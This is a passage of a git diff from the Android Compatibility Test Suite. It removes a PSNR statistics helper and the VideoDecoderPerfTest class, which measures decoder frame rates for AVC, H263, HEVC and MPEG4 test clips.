-        return psnr;
-    }
-
-    /**
-     * Calculates average and minimum PSNR values between
-     * set of reference and decoded video frames.
-     * Runs PSNR calculation for the full duration of the decoded data.
-     */
-    protected VideoDecodingStatistics computeDecodingStatistics(
-            String referenceYuvFilename,
-            String referenceYuvRaw,
-            String decodedYuvFilename,
-            int width,
-            int height) throws Exception {
-        VideoDecodingStatistics statistics = new VideoDecodingStatistics();
-        InputStream referenceStream =
-                OpenFileOrResource(referenceYuvFilename, referenceYuvRaw);
-        InputStream decodedStream = new FileInputStream(decodedYuvFilename);
-
-        int ySize = width * height;
-        int uvSize = width * height / 4;
-        byte[] yRef = new byte[ySize];
-        byte[] yDec = new byte[ySize];
-        byte[] uvRef = new byte[uvSize];
-        byte[] uvDec = new byte[uvSize];
-
-        int frames = 0;
-        double averageYPSNR = 0;
-        double averageUPSNR = 0;
-        double averageVPSNR = 0;
-        double minimumYPSNR = Integer.MAX_VALUE;
-        double minimumUPSNR = Integer.MAX_VALUE;
-        double minimumVPSNR = Integer.MAX_VALUE;
-        int minimumPSNRFrameIndex = 0;
-
-        while (true) {
-            // Calculate Y PSNR.
-            int bytesReadRef = referenceStream.read(yRef);
-            int bytesReadDec = decodedStream.read(yDec);
-            if (bytesReadDec == -1) {
-                break;
-            }
-            if (bytesReadRef == -1) {
-                // Reference file wrapping up
-                referenceStream.close();
-                referenceStream =
-                        OpenFileOrResource(referenceYuvFilename, referenceYuvRaw);
-                bytesReadRef = referenceStream.read(yRef);
-            }
-            double curYPSNR = computePSNR(yRef, yDec);
-            averageYPSNR += curYPSNR;
-            minimumYPSNR = Math.min(minimumYPSNR, curYPSNR);
-            double curMinimumPSNR = curYPSNR;
-
-            // Calculate U PSNR.
-            bytesReadRef = referenceStream.read(uvRef);
-            bytesReadDec = decodedStream.read(uvDec);
-            double curUPSNR = computePSNR(uvRef, uvDec);
-            averageUPSNR += curUPSNR;
-            minimumUPSNR = Math.min(minimumUPSNR, curUPSNR);
-            curMinimumPSNR = Math.min(curMinimumPSNR, curUPSNR);
-
-            // Calculate V PSNR.
-            bytesReadRef = referenceStream.read(uvRef);
-            bytesReadDec = decodedStream.read(uvDec);
-            double curVPSNR = computePSNR(uvRef, uvDec);
-            averageVPSNR += curVPSNR;
-            minimumVPSNR = Math.min(minimumVPSNR, curVPSNR);
-            curMinimumPSNR = Math.min(curMinimumPSNR, curVPSNR);
-
-            // Frame index for minimum PSNR value - help to detect possible distortions
-            if (curMinimumPSNR < statistics.mMinimumPSNR) {
-                statistics.mMinimumPSNR = curMinimumPSNR;
-                minimumPSNRFrameIndex = frames;
-            }
-
-            String logStr = String.format(Locale.US, "PSNR #%d: Y: %.2f. U: %.2f. V: %.2f",
-                    frames, curYPSNR, curUPSNR, curVPSNR);
-            Log.v(TAG, logStr);
-
-            frames++;
-        }
-
-        averageYPSNR /= frames;
-        averageUPSNR /= frames;
-        averageVPSNR /= frames;
-        statistics.mAveragePSNR = (4 * averageYPSNR + averageUPSNR + averageVPSNR) / 6;
-
-        Log.d(TAG, "PSNR statistics for " + frames + " frames.");
-        String logStr = String.format(Locale.US,
-                "Average PSNR: Y: %.1f. U: %.1f. V: %.1f. Average: %.1f",
-                averageYPSNR, averageUPSNR, averageVPSNR, statistics.mAveragePSNR);
-        Log.d(TAG, logStr);
-        logStr = String.format(Locale.US,
-                "Minimum PSNR: Y: %.1f. U: %.1f. V: %.1f. Overall: %.1f at frame %d",
-                minimumYPSNR, minimumUPSNR, minimumVPSNR,
-                statistics.mMinimumPSNR, minimumPSNRFrameIndex);
-        Log.d(TAG, logStr);
-
-        referenceStream.close();
-        decodedStream.close();
-        return statistics;
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java b/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java
deleted file mode 100644
index d5c6134..0000000
--- a/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java
+++ /dev/null
@@ -1,673 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.Context;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo.VideoCapabilities;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.os.Build;
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.util.Pair;
-import android.text.TextUtils;
-import android.view.Surface;
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.MediaPerfUtils;
-import com.android.compatibility.common.util.MediaUtils;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import java.io.IOException;
-import java.nio.ByteBuffer;
-import java.util.Arrays;
-import java.util.LinkedList;
-import java.util.Scanner;
-
-import org.junit.Assume;
-
-@MediaHeavyPresubmitTest
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class VideoDecoderPerfTest extends MediaPlayerTestBase {
-    private static final String TAG = "VideoDecoderPerfTest";
-    private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
-    private static final int TOTAL_FRAMES = 30000;
-    private static final int MIN_FRAMES = 3000;
-    private static final int MAX_TIME_MS = 120000;  // 2 minutes
-    private static final int MAX_TEST_TIMEOUT_MS = 300000;  // 5 minutes
-    private static final int MIN_TEST_MS = 10000;  // 10 seconds
-    private static final int NUMBER_OF_REPEATS = 2;
-
-    private static final String AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
-    private static final String H263 = MediaFormat.MIMETYPE_VIDEO_H263;
-    private static final String HEVC = MediaFormat.MIMETYPE_VIDEO_HEVC;
-    private static final String MPEG2 = MediaFormat.MIMETYPE_VIDEO_MPEG2;
-    private static final String MPEG4 = MediaFormat.MIMETYPE_VIDEO_MPEG4;
-    private static final String VP8 = MediaFormat.MIMETYPE_VIDEO_VP8;
-    private static final String VP9 = MediaFormat.MIMETYPE_VIDEO_VP9;
-
-    private static final boolean GOOG = true;
-    private static final boolean OTHER = false;
-
-    private static final int MAX_SIZE_SAMPLES_IN_MEMORY_BYTES = 12 << 20;  // 12MB
-    // each sample contains the buffer and the PTS offset from the frame index
-    LinkedList<Pair<ByteBuffer, Double>> mSamplesInMemory = new LinkedList<Pair<ByteBuffer, Double>>();
-    private MediaFormat mDecInputFormat;
-    private MediaFormat mDecOutputFormat;
-    private int mBitrate;
-
-    private boolean mSkipRateChecking = false;
-    private boolean mUpdatedSwCodec = false;
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        Bundle bundle = InstrumentationRegistry.getArguments();
-        mSkipRateChecking = TextUtils.equals("true", bundle.getString("mts-media"));
-
-        mUpdatedSwCodec =
-                !TestUtils.isMainlineModuleFactoryVersion("com.google.android.media.swcodec");
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-    }
-
-    private void decode(String name, final String resource, MediaFormat format) throws Exception {
-        int width = format.getInteger(MediaFormat.KEY_WIDTH);
-        int height = format.getInteger(MediaFormat.KEY_HEIGHT);
-        String mime = format.getString(MediaFormat.KEY_MIME);
-
-        // Ensure we can finish this test within the test timeout. Allow 25% slack (4/5).
-        long maxTimeMs = Math.min(
-                MAX_TEST_TIMEOUT_MS * 4 / 5 / NUMBER_OF_REPEATS, MAX_TIME_MS);
-        // reduce test run on non-real device
-        if (MediaUtils.onFrankenDevice()) {
-            maxTimeMs /= 10;
-        }
-        double measuredFps[] = new double[NUMBER_OF_REPEATS];
-
-        for (int i = 0; i < NUMBER_OF_REPEATS; ++i) {
-            // Decode to Surface.
-            Log.d(TAG, "round #" + i + ": " + name + " for " + maxTimeMs + " msecs to surface");
-            Surface s = getActivity().getSurfaceHolder().getSurface();
-            // only verify the result for decode to surface case.
-            measuredFps[i] = doDecode(name, resource, width, height, s, i, maxTimeMs);
-
-            // We don't test decoding to buffer.
-            // Log.d(TAG, "round #" + i + " decode to buffer");
-            // doDecode(name, video, width, height, null, i, maxTimeMs);
-        }
-
-        // allow improvements in mainline-updated google-supplied software codecs.
-        boolean fasterIsOk = mUpdatedSwCodec & name.startsWith("c2.android.");
-        String error =
-            MediaPerfUtils.verifyAchievableFrameRates(name, mime, width, height,
-                           fasterIsOk,  measuredFps);
-        // Performance numbers only make sense on real devices, so skip on non-real devices
-        if ((MediaUtils.onFrankenDevice() || mSkipRateChecking) && error != null) {
-            // ensure there is data, but don't insist that it is correct
-            assertFalse(error, error.startsWith("Failed to get "));
-        } else {
-            assertNull(error, error);
-        }
-        mSamplesInMemory.clear();
-    }
-
-    private double doDecode(String name, final String filename, int w, int h, Surface surface,
-            int round, long maxTimeMs) throws Exception {
-        final String video = mInpPrefix + filename;
-        Preconditions.assertTestFileExists(video);
-        MediaExtractor extractor = new MediaExtractor();
-        extractor.setDataSource(video);
-        extractor.selectTrack(0);
-        int trackIndex = extractor.getSampleTrackIndex();
-        MediaFormat format = extractor.getTrackFormat(trackIndex);
-        String mime = format.getString(MediaFormat.KEY_MIME);
-
-        // use frame rate to calculate PTS offset used for PTS scaling
-        double frameRate = 0.; // default - 0 is used for using zero PTS offset
-        if (format.containsKey(MediaFormat.KEY_FRAME_RATE)) {
-            frameRate = format.getInteger(MediaFormat.KEY_FRAME_RATE);
-        } else if (!mime.equals(MediaFormat.MIMETYPE_VIDEO_VP8)
-                && !mime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
-            fail("need framerate info for video file");
-        }
-
-        ByteBuffer[] codecInputBuffers;
-        ByteBuffer[] codecOutputBuffers;
-
-        if (mSamplesInMemory.size() == 0) {
-            int totalMemory = 0;
-            ByteBuffer tmpBuf = ByteBuffer.allocate(w * h * 3 / 2);
-            int sampleSize = 0;
-            int index = 0;
-            long firstPTS = 0;
-            double presentationOffset = 0.;
-            while ((sampleSize = extractor.readSampleData(tmpBuf, 0 /* offset */)) > 0) {
-                if (totalMemory + sampleSize > MAX_SIZE_SAMPLES_IN_MEMORY_BYTES) {
-                    break;
-                }
-                if (mSamplesInMemory.size() == 0) {
-                    firstPTS = extractor.getSampleTime();
-                }
-                ByteBuffer copied = ByteBuffer.allocate(sampleSize);
-                copied.put(tmpBuf);
-                if (frameRate > 0.) {
-                    // presentation offset is an offset from the frame index
-                    presentationOffset =
-                        (extractor.getSampleTime() - firstPTS) * frameRate / 1e6 - index;
-                }
-                mSamplesInMemory.addLast(Pair.create(copied, presentationOffset));
-                totalMemory += sampleSize;
-                ++index;
-                extractor.advance();
-            }
-            Log.d(TAG, mSamplesInMemory.size() + " samples in memory for " +
-                    (totalMemory / 1024) + " KB.");
-            // bitrate normalized to 30fps
-            mBitrate = (int)Math.round(totalMemory * 30. * 8. / mSamplesInMemory.size());
-        }
-        format.setInteger(MediaFormat.KEY_BIT_RATE, mBitrate);
-
-        int sampleIndex = 0;
-
-        extractor.release();
-
-        MediaCodec codec = MediaCodec.createByCodecName(name);
-        VideoCapabilities cap = codec.getCodecInfo().getCapabilitiesForType(mime).getVideoCapabilities();
-        frameRate = cap.getSupportedFrameRatesFor(w, h).getUpper();
-        codec.configure(format, surface, null /* crypto */, 0 /* flags */);
-        codec.start();
-        codecInputBuffers = codec.getInputBuffers();
-        codecOutputBuffers = codec.getOutputBuffers();
-        mDecInputFormat = codec.getInputFormat();
-
-        // start decode loop
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-
-        final long kTimeOutUs = 1000; // 1ms timeout
-        double[] frameTimeUsDiff = new double[TOTAL_FRAMES - 1];
-        long lastOutputTimeUs = 0;
-        boolean sawInputEOS = false;
-        boolean sawOutputEOS = false;
-        int inputNum = 0;
-        int outputNum = 0;
-        long start = System.currentTimeMillis();
-        while (!sawOutputEOS) {
-            // handle input
-            if (!sawInputEOS) {
-                int inputBufIndex = codec.dequeueInputBuffer(kTimeOutUs);
-
-                if (inputBufIndex >= 0) {
-                    ByteBuffer dstBuf = codecInputBuffers[inputBufIndex];
-                    // sample contains the buffer and the PTS offset normalized to frame index
-                    Pair<ByteBuffer, Double> sample =
-                            mSamplesInMemory.get(sampleIndex++ % mSamplesInMemory.size());
-                    sample.first.rewind();
-                    int sampleSize = sample.first.remaining();
-                    dstBuf.put(sample.first);
-                    // use max supported framerate to compute pts
-                    long presentationTimeUs = (long)((inputNum + sample.second) * 1e6 / frameRate);
-
-                    long elapsed = System.currentTimeMillis() - start;
-                    sawInputEOS = ((++inputNum == TOTAL_FRAMES)
-                                   || (elapsed > maxTimeMs)
-                                   || (elapsed > MIN_TEST_MS && outputNum > MIN_FRAMES));
-                    if (sawInputEOS) {
-                        Log.d(TAG, "saw input EOS (stop at sample).");
-                    }
-                    codec.queueInputBuffer(
-                            inputBufIndex,
-                            0 /* offset */,
-                            sampleSize,
-                            presentationTimeUs,
-                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
-                } else {
-                    assertEquals(
-                            "codec.dequeueInputBuffer() unrecognized return value: " + inputBufIndex,
-                            MediaCodec.INFO_TRY_AGAIN_LATER, inputBufIndex);
-                }
-            }
-
-            // handle output
-            int outputBufIndex = codec.dequeueOutputBuffer(info, kTimeOutUs);
-
-            if (outputBufIndex >= 0) {
-                if (info.size > 0) { // Disregard 0-sized buffers at the end.
-                    long nowUs = (System.nanoTime() + 500) / 1000;
-                    if (outputNum > 1) {
-                        frameTimeUsDiff[outputNum - 1] = nowUs - lastOutputTimeUs;
-                    }
-                    lastOutputTimeUs = nowUs;
-                    outputNum++;
-                }
-                codec.releaseOutputBuffer(outputBufIndex, false /* render */);
-                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    Log.d(TAG, "saw output EOS.");
-                    sawOutputEOS = true;
-                }
-            } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                codecOutputBuffers = codec.getOutputBuffers();
-                Log.d(TAG, "output buffers have changed.");
-            } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                mDecOutputFormat = codec.getOutputFormat();
-                int width = mDecOutputFormat.getInteger(MediaFormat.KEY_WIDTH);
-                int height = mDecOutputFormat.getInteger(MediaFormat.KEY_HEIGHT);
-                Log.d(TAG, "output resolution " + width + "x" + height);
-            } else {
-                assertEquals(
-                        "codec.dequeueOutputBuffer() unrecognized return index: "
-                                + outputBufIndex,
-                        MediaCodec.INFO_TRY_AGAIN_LATER, outputBufIndex);
-            }
-        }
-        long finish = System.currentTimeMillis();
-        int validDataNum = outputNum - 1;
-        frameTimeUsDiff = Arrays.copyOf(frameTimeUsDiff, validDataNum);
-        codec.stop();
-        codec.release();
-
-        Log.d(TAG, "input num " + inputNum + " vs output num " + outputNum);
-
-        DeviceReportLog log = new DeviceReportLog(REPORT_LOG_NAME, "video_decoder_performance");
-        String message = MediaPerfUtils.addPerformanceHeadersToLog(
-                log, "decoder stats: decodeTo=" + ((surface == null) ? "buffer" : "surface"),
-                round, name, format, mDecInputFormat, mDecOutputFormat);
-        log.addValue("video_res", video, ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValue("decode_to", surface == null ? "buffer" : "surface",
-                ResultType.NEUTRAL, ResultUnit.NONE);
-
-        double fps = outputNum / ((finish - start) / 1000.0);
-        log.addValue("average_fps", fps, ResultType.HIGHER_BETTER, ResultUnit.FPS);
-
-        MediaUtils.Stats stats = new MediaUtils.Stats(frameTimeUsDiff);
-        fps = MediaPerfUtils.addPerformanceStatsToLog(log, stats, message);
-        log.submit(getInstrumentation());
-        return fps;
-    }
-
-    private MediaFormat[] getVideoTrackFormats(String... resources) throws Exception {
-        MediaFormat[] formats = new MediaFormat[resources.length];
-        for (int i = 0; i < resources.length; ++i) {
-            Preconditions.assertTestFileExists(mInpPrefix + resources[i]);
-            formats[i] = MediaUtils.getTrackFormatForResource(mInpPrefix + resources[i], "video/");
-        }
-        return formats;
-    }
-
-    private void count(final String[] resources, int numGoog, int numOther) throws Exception {
-        MediaFormat[] formats = getVideoTrackFormats(resources);
-        MediaUtils.verifyNumCodecs(numGoog,  false /* isEncoder */, true /* isGoog */,  formats);
-        MediaUtils.verifyNumCodecs(numOther, false /* isEncoder */, false /* isGoog */, formats);
-    }
-
-    private void perf(final String[] resources, boolean isGoog, int ix)  throws Exception {
-        MediaFormat[] formats = getVideoTrackFormats(resources);
-        String[] decoders = MediaUtils.getDecoderNames(isGoog, formats);
-        String kind = isGoog ? "Google" : "non-Google";
-        if (decoders.length == 0) {
-            MediaUtils.skipTest("No " + kind + " decoders for " + Arrays.toString(formats));
-            return;
-        } else if (ix >= decoders.length) {
-            Log.i(TAG, "No more " + kind + " decoders for " + Arrays.toString(formats));
-            return;
-        }
-
-        String decoderName = decoders[ix];
-
-        // Decode/measure the first supported video resource
-        for (int i = 0; i < resources.length; ++i) {
-            if (MediaUtils.supports(decoderName, formats[i])) {
-                decode(decoderName, resources[i], formats[i]);
-                break;
-            }
-        }
-    }
-
-    // Poor man's Parametrized test as this test must still run on CTSv1 runner.
-
-    // The count tests are to ensure this Cts test covers all decoders. Add further
-    // tests and change the count if there can be more decoders.
-
-    // AVC tests
-
-    private static final String[] sAvcMedia0320x0240 = {
-        "bbb_s1_320x240_mp4_h264_mp2_800kbps_30fps_aac_lc_5ch_240kbps_44100hz.mp4",
-    };
-
-    public void testAvcCount0320x0240() throws Exception { count(sAvcMedia0320x0240, 2, 4); }
-    public void testAvcGoog0Perf0320x0240() throws Exception { perf(sAvcMedia0320x0240, GOOG, 0); }
-    public void testAvcGoog1Perf0320x0240() throws Exception { perf(sAvcMedia0320x0240, GOOG, 1); }
-    public void testAvcOther0Perf0320x0240() throws Exception { perf(sAvcMedia0320x0240, OTHER, 0); }
-    public void testAvcOther1Perf0320x0240() throws Exception { perf(sAvcMedia0320x0240, OTHER, 1); }
-    public void testAvcOther2Perf0320x0240() throws Exception { perf(sAvcMedia0320x0240, OTHER, 2); }
-    public void testAvcOther3Perf0320x0240() throws Exception { perf(sAvcMedia0320x0240, OTHER, 3); }
-
-    private static final String[] sAvcMedia0720x0480 = {
-        "bbb_s1_720x480_mp4_h264_mp3_2mbps_30fps_aac_lc_5ch_320kbps_48000hz.mp4",
-    };
-
-    public void testAvcCount0720x0480() throws Exception { count(sAvcMedia0720x0480, 2, 4); }
-    public void testAvcGoog0Perf0720x0480() throws Exception { perf(sAvcMedia0720x0480, GOOG, 0); }
-    public void testAvcGoog1Perf0720x0480() throws Exception { perf(sAvcMedia0720x0480, GOOG, 1); }
-    public void testAvcOther0Perf0720x0480() throws Exception { perf(sAvcMedia0720x0480, OTHER, 0); }
-    public void testAvcOther1Perf0720x0480() throws Exception { perf(sAvcMedia0720x0480, OTHER, 1); }
-    public void testAvcOther2Perf0720x0480() throws Exception { perf(sAvcMedia0720x0480, OTHER, 2); }
-    public void testAvcOther3Perf0720x0480() throws Exception { perf(sAvcMedia0720x0480, OTHER, 3); }
-
-    // prefer highest effective bitrate, then high profile
-    private static final String[] sAvcMedia1280x0720 = {
-        "bbb_s4_1280x720_mp4_h264_mp31_8mbps_30fps_aac_he_mono_40kbps_44100hz.mp4",
-        "bbb_s3_1280x720_mp4_h264_hp32_8mbps_60fps_aac_he_v2_stereo_48kbps_48000hz.mp4",
-        "bbb_s3_1280x720_mp4_h264_mp32_8mbps_60fps_aac_he_v2_6ch_144kbps_44100hz.mp4",
-    };
-
-    public void testAvcCount1280x0720() throws Exception { count(sAvcMedia1280x0720, 2, 4); }
-    public void testAvcGoog0Perf1280x0720() throws Exception { perf(sAvcMedia1280x0720, GOOG, 0); }
-    public void testAvcGoog1Perf1280x0720() throws Exception { perf(sAvcMedia1280x0720, GOOG, 1); }
-    public void testAvcOther0Perf1280x0720() throws Exception { perf(sAvcMedia1280x0720, OTHER, 0); }
-    public void testAvcOther1Perf1280x0720() throws Exception { perf(sAvcMedia1280x0720, OTHER, 1); }
-    public void testAvcOther2Perf1280x0720() throws Exception { perf(sAvcMedia1280x0720, OTHER, 2); }
-    public void testAvcOther3Perf1280x0720() throws Exception { perf(sAvcMedia1280x0720, OTHER, 3); }
-
-    // prefer highest effective bitrate, then high profile
-    private static final String[] sAvcMedia1920x1080 = {
-        "bbb_s4_1920x1080_wide_mp4_h264_hp4_20mbps_30fps_aac_lc_6ch_384kbps_44100hz.mp4",
-        "bbb_s4_1920x1080_wide_mp4_h264_mp4_20mbps_30fps_aac_he_5ch_200kbps_44100hz.mp4",
-        "bbb_s2_1920x1080_mp4_h264_hp42_20mbps_60fps_aac_lc_6ch_384kbps_48000hz.mp4",
-        "bbb_s2_1920x1080_mp4_h264_mp42_20mbps_60fps_aac_he_v2_5ch_160kbps_48000hz.mp4",
-    };
-
-    public void testAvcCount1920x1080() throws Exception { count(sAvcMedia1920x1080, 2, 4); }
-    public void testAvcGoog0Perf1920x1080() throws Exception { perf(sAvcMedia1920x1080, GOOG, 0); }
-    public void testAvcGoog1Perf1920x1080() throws Exception { perf(sAvcMedia1920x1080, GOOG, 1); }
-    public void testAvcOther0Perf1920x1080() throws Exception { perf(sAvcMedia1920x1080, OTHER, 0); }
-    public void testAvcOther1Perf1920x1080() throws Exception { perf(sAvcMedia1920x1080, OTHER, 1); }
-    public void testAvcOther2Perf1920x1080() throws Exception { perf(sAvcMedia1920x1080, OTHER, 2); }
-    public void testAvcOther3Perf1920x1080() throws Exception { perf(sAvcMedia1920x1080, OTHER, 3); }
-
-    // H263 tests
-
-    private static final String[] sH263Media0176x0144 = {
-        "video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz.3gp",
-    };
-
-    public void testH263Count0176x0144() throws Exception { count(sH263Media0176x0144, 2, 2); }
-    public void testH263Goog0Perf0176x0144() throws Exception { perf(sH263Media0176x0144, GOOG, 0); }
-    public void testH263Goog1Perf0176x0144() throws Exception { perf(sH263Media0176x0144, GOOG, 1); }
-    public void testH263Other0Perf0176x0144() throws Exception { perf(sH263Media0176x0144, OTHER, 0); }
-    public void testH263Other1Perf0176x0144() throws Exception { perf(sH263Media0176x0144, OTHER, 1); }
-
-    private static final String[] sH263Media0352x0288 = {
-        "video_352x288_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz.3gp",
-    };
-
-    public void testH263Count0352x0288() throws Exception { count(sH263Media0352x0288, 2, 2); }
-    public void testH263Goog0Perf0352x0288() throws Exception { perf(sH263Media0352x0288, GOOG, 0); }
-    public void testH263Goog1Perf0352x0288() throws Exception { perf(sH263Media0352x0288, GOOG, 1); }
-    public void testH263Other0Perf0352x0288() throws Exception { perf(sH263Media0352x0288, OTHER, 0); }
-    public void testH263Other1Perf0352x0288() throws Exception { perf(sH263Media0352x0288, OTHER, 1); }
-
-    // No media for H263 704x576
-
-    // No media for H263 1408x1152
-
-    // HEVC tests
-
-    private static final String[] sHevcMedia0352x0288 = {
-        "bbb_s1_352x288_mp4_hevc_mp2_600kbps_30fps_aac_he_stereo_96kbps_48000hz.mp4",
-    };
-
-    public void testHevcCount0352x0288() throws Exception { count(sHevcMedia0352x0288, 2, 4); }
-    public void testHevcGoog0Perf0352x0288() throws Exception { perf(sHevcMedia0352x0288, GOOG, 0); }
-    public void testHevcGoog1Perf0352x0288() throws Exception { perf(sHevcMedia0352x0288, GOOG, 1); }
-    public void testHevcOther0Perf0352x0288() throws Exception { perf(sHevcMedia0352x0288, OTHER, 0); }
-    public void testHevcOther1Perf0352x0288() throws Exception { perf(sHevcMedia0352x0288, OTHER, 1); }
-    public void testHevcOther2Perf0352x0288() throws Exception { perf(sHevcMedia0352x0288, OTHER, 2); }
-    public void testHevcOther3Perf0352x0288() throws Exception { perf(sHevcMedia0352x0288, OTHER, 3); }
-
-    private static final String[] sHevcMedia0640x0360 = {
-        "bbb_s1_640x360_mp4_hevc_mp21_1600kbps_30fps_aac_he_6ch_288kbps_44100hz.mp4",
-    };
-
-    public void testHevcCount0640x0360() throws Exception { count(sHevcMedia0640x0360, 2, 4); }
-    public void testHevcGoog0Perf0640x0360() throws Exception { perf(sHevcMedia0640x0360, GOOG, 0); }
-    public void testHevcGoog1Perf0640x0360() throws Exception { perf(sHevcMedia0640x0360, GOOG, 1); }
-    public void testHevcOther0Perf0640x0360() throws Exception { perf(sHevcMedia0640x0360, OTHER, 0); }
-    public void testHevcOther1Perf0640x0360() throws Exception { perf(sHevcMedia0640x0360, OTHER, 1); }
-    public void testHevcOther2Perf0640x0360() throws Exception { perf(sHevcMedia0640x0360, OTHER, 2); }
-    public void testHevcOther3Perf0640x0360() throws Exception { perf(sHevcMedia0640x0360, OTHER, 3); }
-
-    private static final String[] sHevcMedia0720x0480 = {
-        "bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz.mp4",
-    };
-
-    public void testHevcCount0720x0480() throws Exception { count(sHevcMedia0720x0480, 2, 4); }
-    public void testHevcGoog0Perf0720x0480() throws Exception { perf(sHevcMedia0720x0480, GOOG, 0); }
-    public void testHevcGoog1Perf0720x0480() throws Exception { perf(sHevcMedia0720x0480, GOOG, 1); }
-    public void testHevcOther0Perf0720x0480() throws Exception { perf(sHevcMedia0720x0480, OTHER, 0); }
-    public void testHevcOther1Perf0720x0480() throws Exception { perf(sHevcMedia0720x0480, OTHER, 1); }
-    public void testHevcOther2Perf0720x0480() throws Exception { perf(sHevcMedia0720x0480, OTHER, 2); }
-    public void testHevcOther3Perf0720x0480() throws Exception { perf(sHevcMedia0720x0480, OTHER, 3); }
-
-    private static final String[] sHevcMedia1280x0720 = {
-        "bbb_s4_1280x720_mp4_hevc_mp31_4mbps_30fps_aac_he_stereo_80kbps_32000hz.mp4",
-    };
-
-    public void testHevcCount1280x0720() throws Exception { count(sHevcMedia1280x0720, 2, 4); }
-    public void testHevcGoog0Perf1280x0720() throws Exception { perf(sHevcMedia1280x0720, GOOG, 0); }
-    public void testHevcGoog1Perf1280x0720() throws Exception { perf(sHevcMedia1280x0720, GOOG, 1); }
-    public void testHevcOther0Perf1280x0720() throws Exception { perf(sHevcMedia1280x0720, OTHER, 0); }
-    public void testHevcOther1Perf1280x0720() throws Exception { perf(sHevcMedia1280x0720, OTHER, 1); }
-    public void testHevcOther2Perf1280x0720() throws Exception { perf(sHevcMedia1280x0720, OTHER, 2); }
-    public void testHevcOther3Perf1280x0720() throws Exception { perf(sHevcMedia1280x0720, OTHER, 3); }
-
-    private static final String[] sHevcMedia1920x1080 = {
-        "bbb_s2_1920x1080_mp4_hevc_mp41_10mbps_60fps_aac_lc_6ch_384kbps_22050hz.mp4",
-    };
-
-    public void testHevcCount1920x1080() throws Exception { count(sHevcMedia1920x1080, 2, 4); }
-    public void testHevcGoog0Perf1920x1080() throws Exception { perf(sHevcMedia1920x1080, GOOG, 0); }
-    public void testHevcGoog1Perf1920x1080() throws Exception { perf(sHevcMedia1920x1080, GOOG, 1); }
-    public void testHevcOther0Perf1920x1080() throws Exception { perf(sHevcMedia1920x1080, OTHER, 0); }
-    public void testHevcOther1Perf1920x1080() throws Exception { perf(sHevcMedia1920x1080, OTHER, 1); }
-    public void testHevcOther2Perf1920x1080() throws Exception { perf(sHevcMedia1920x1080, OTHER, 2); }
-    public void testHevcOther3Perf1920x1080() throws Exception { perf(sHevcMedia1920x1080, OTHER, 3); }
-
-    // prefer highest effective bitrate
-    private static final String[] sHevcMedia3840x2160 = {
-        "bbb_s4_3840x2160_mp4_hevc_mp5_20mbps_30fps_aac_lc_6ch_384kbps_24000hz.mp4",
-        "bbb_s2_3840x2160_mp4_hevc_mp51_20mbps_60fps_aac_lc_6ch_384kbps_32000hz.mp4",
-    };
-
-    public void testHevcCount3840x2160() throws Exception { count(sHevcMedia3840x2160, 2, 4); }
-    public void testHevcGoog0Perf3840x2160() throws Exception { perf(sHevcMedia3840x2160, GOOG, 0); }
-    public void testHevcGoog1Perf3840x2160() throws Exception { perf(sHevcMedia3840x2160, GOOG, 1); }
-    public void testHevcOther0Perf3840x2160() throws Exception { perf(sHevcMedia3840x2160, OTHER, 0); }
-    public void testHevcOther1Perf3840x2160() throws Exception { perf(sHevcMedia3840x2160, OTHER, 1); }
-    public void testHevcOther2Perf3840x2160() throws Exception { perf(sHevcMedia3840x2160, OTHER, 2); }
-    public void testHevcOther3Perf3840x2160() throws Exception { perf(sHevcMedia3840x2160, OTHER, 3); }
-
-    // MPEG2 tests
-
-    // No media for MPEG2 176x144
-
-    // No media for MPEG2 352x288
-
-    // No media for MPEG2 640x480
-
-    // No media for MPEG2 1280x720
-
-    // No media for MPEG2 1920x1080
-
-    // MPEG4 tests
-
-    private static final String[] sMpeg4Media0176x0144 = {
-        "video_176x144_mp4_mpeg4_300kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-    };
-
-    public void testMpeg4Count0176x0144() throws Exception { count(sMpeg4Media0176x0144, 2, 4); }
-    public void testMpeg4Goog0Perf0176x0144() throws Exception { perf(sMpeg4Media0176x0144, GOOG, 0); }
-    public void testMpeg4Goog1Perf0176x0144() throws Exception { perf(sMpeg4Media0176x0144, GOOG, 1); }
-    public void testMpeg4Other0Perf0176x0144() throws Exception { perf(sMpeg4Media0176x0144, OTHER, 0); }
-    public void testMpeg4Other1Perf0176x0144() throws Exception { perf(sMpeg4Media0176x0144, OTHER, 1); }
